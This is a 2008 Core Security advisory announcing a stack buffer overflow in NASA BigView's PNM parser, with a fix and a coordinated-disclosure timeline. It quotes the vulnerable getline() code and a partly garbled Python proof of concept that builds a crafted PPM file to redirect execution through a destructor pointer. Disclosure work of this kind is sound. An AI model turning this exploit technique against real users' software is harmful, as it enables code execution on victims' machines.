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Date: Wed, 04 Jun 2008 16:33:58 -0300
From: CORE Security Technologies Advisories <>
	vulnwatch <>,
	bugtraq <>
Subject: CORE-2008-0425 - NASA BigView Stack Buffer Overflow

Hash: SHA1

      Core Security Technologies - CoreLabs Advisory

           NASA BigView Stack Buffer Overflow

*Advisory Information*

Title: NASA BigView Stack Buffer Overflow
Advisory ID: CORE-2008-0425
Advisory URL:
Date published: 2008-06-04
Date of last update: 2008-06-03
Vendors contacted: NASA Ames Research Center
Release mode: Coordinated release

*Vulnerability Information*

Class: Stack Overflow
Remotely Exploitable: Yes (client side)
Locally Exploitable: No
Bugtraq ID: 29517	
CVE Name: CVE-2008-2542	

*Vulnerability Description*

NASA BigView [1] allows for interactive panning and zooming of images of
arbitrary size on desktop PCs running Linux. Using this software, one
can explore (on relatively modest machines) images such as the Mars
Orbiter Camera mosaic [92160x33280 pixels].

The BigView package suffers from a stack buffer overflow when parsing
specially crafted (invalid) PNM input files. If successful, a malicious
third party could trigger execution of arbitrary code within the context
of the application, or otherwise crash the whole application. The
vulnerability is caused due to the BigView package not properly checking
the line length of the ascii PNM input files before copying it on a
stack buffer. This can be exploited to get arbitrary code execution by
opening a specially crafted file.

Exploitation of the PNM overflow problem requires the user to explicitly
open a malicious file. The user should refrain from opening files from
untrusted third parties or accessing untrusted Web sites until the patch
is applied.

*Vulnerable Packages*

. BigView revision 1.8.
. Older BigView versions could be affected too, but they were not tested.

*Non-vulnerable Packages*

. Available through BigView website (since June 2nd 2008, see below).

*Vendor Information, Solutions and Workarounds*

The NASA BigView team has published a new version fixing this
vulnerability. The tarball is available on BigView's website:


This vulnerability was discovered and researched by Alfredo Ortega, from
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.

*Technical Description / Proof of Concept Code*

The BigView package suffers from a stack buffer overflow when parsing
specially crafted (invalid) PNM input files. If successful, a malicious
third party could trigger execution of arbitrary code within the context
of the application, or otherwise crash the whole application.

The vulnerability resides in the following code at 'Ppm/ppm.C'. Here,
the function 'getline()' reads data from a file into a buffer. This is
the complete function:


418 static void getline(int fin, char* lineBuf, int len)
419 {
420   bool done=false;
421   int index=0;
422   lineBuf[index]=' ';
423   while(! done){
424     lineBuf[index] = getOneChar(fin);
425     if( lineBuf[index]==10 ) {
426       lineBuf[index]=0;
427       done=true;
428     }
429     ++index;
430   }
431   lineBuf[index]=0;
432 }

- -----------/

Clearly the function requires the length of the destination buffer, but
it is never used internally. This function is used on the
'PPM::ppmHeader()' function, to read the header of the PPM file.


56  PPM::ppmHeader(string filename, PPM::Format* format,
57                 int* cpp, int* bpc,
58                 int* sizeX, int* sizeY,
59                 int* imageOffset)
60  {
61    std::ostringstream err;
62    char magic[3],lineBuf[512],junk;
63    int res,max;
115   while( junk == '#' ){
116     getline(fin,lineBuf,512);
117     cout << "Comment:"<<lineBuf<<":"<<endl;
118     junk = getOneChar(fin);
119   }

- -----------/

Here, the 'lineBuf' buffer is allocated on the stack, with a size of 512
bytes. If the PPM contains a line longer than 512 bytes on the header, a
buffer overflow will ensue. The following proof of concept is a python
script that creates a PNM file that triggers the overflow and jumps to
an arbitrary position (0x41414141 on the PoC) when loaded with BigView
compiled on Ubuntu 6.06 LTS.


## BigView exploit
## Alfredo Ortega - Core Security Exploit Writers Team (EWT)
## Works against BigView "browse" revision 1.8 compiled on ubuntu 6.06
Desktop i386

import struct
w = open("crash.ppm","wb")
#CREATOR: The GIMP's PNM Filter Version
# This exploit is not trivial, because the function PPM::ppmHeader()
doesn't return inmmediately, and we must modify internal variables to
cause an overwrite of a C++ string destructor executed at the end of the
function to gain control of EIP
# PS.: Congrats for the Phoenix mars Lander!
for i in range(7):

#The address of the destructor is hard-coded. Sorry but this is only a PoC!
destination = 0x0805b294 # destructor
value = 0x41414141 #address to jump to
w.write(struct.pack("<L",destination)) # destination

%d 300
""" % value)

- -----------/

*Report Timeline*

. 2008-04-24:
Initial contact email sent by Core to BigView team setting the estimated
publication date of the advisory to May 19th.

. 2008-04-28:
Vendor acknowledges the email notification.

. 2008-04-30:
Core sends the advisory draft to BigView support team. No reply received.

. 2008-05-12:
New email sent to BigView asking for a response. No reply received.

. 2008-05-15:
New email sent to BigView asking for a response.

. 2008-05-15:
BigView support team informs us that a new patched version is ready, but
is not yet available via BigView webpage.

. 2008-05-19:
Core does not release the advisory (as planned).

. 2008-05-19:
New email sent to BigView team asking if the fixed version is available
to the users.

. 2008-05-26:
New email sent to BigView team, refreshing the communications that took
place, and asking for an answer.

. 2008-06-02:
Vendor responds that a tarball with fixes has been published on
BigView's website.

. 2008-06-03:
Core sends the final version of the advisory to the BigView team.

. 2008-06-04:
CORE-2008-0425 advisory is published.



*About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:

*About Core Security Technologies*

Core Security Technologies develops strategic solutions that help
security-conscious organizations worldwide develop and maintain a
proactive process for securing their networks. The company's flagship
product, CORE IMPACT, is the most comprehensive product for performing
enterprise security assurance testing. CORE IMPACT evaluates network,
endpoint and end-user vulnerabilities and identifies what resources are
exposed. It enables organizations to determine if current security
investments are detecting and preventing attacks. Core Security
Technologies augments its leading technology solution with world-class
security consulting services, including penetration testing and software
security auditing. Based in Boston, MA and Buenos Aires, Argentina, Core
Security Technologies can be reached at 617-399-6980 or on the Web at


The contents of this advisory are copyright (c) 2008 Core Security
Technologies and (c) 2008 CoreLabs, and may be distributed freely
provided that no fee is charged for this distribution and proper credit
is given.

*GPG/PGP Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at

Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla -


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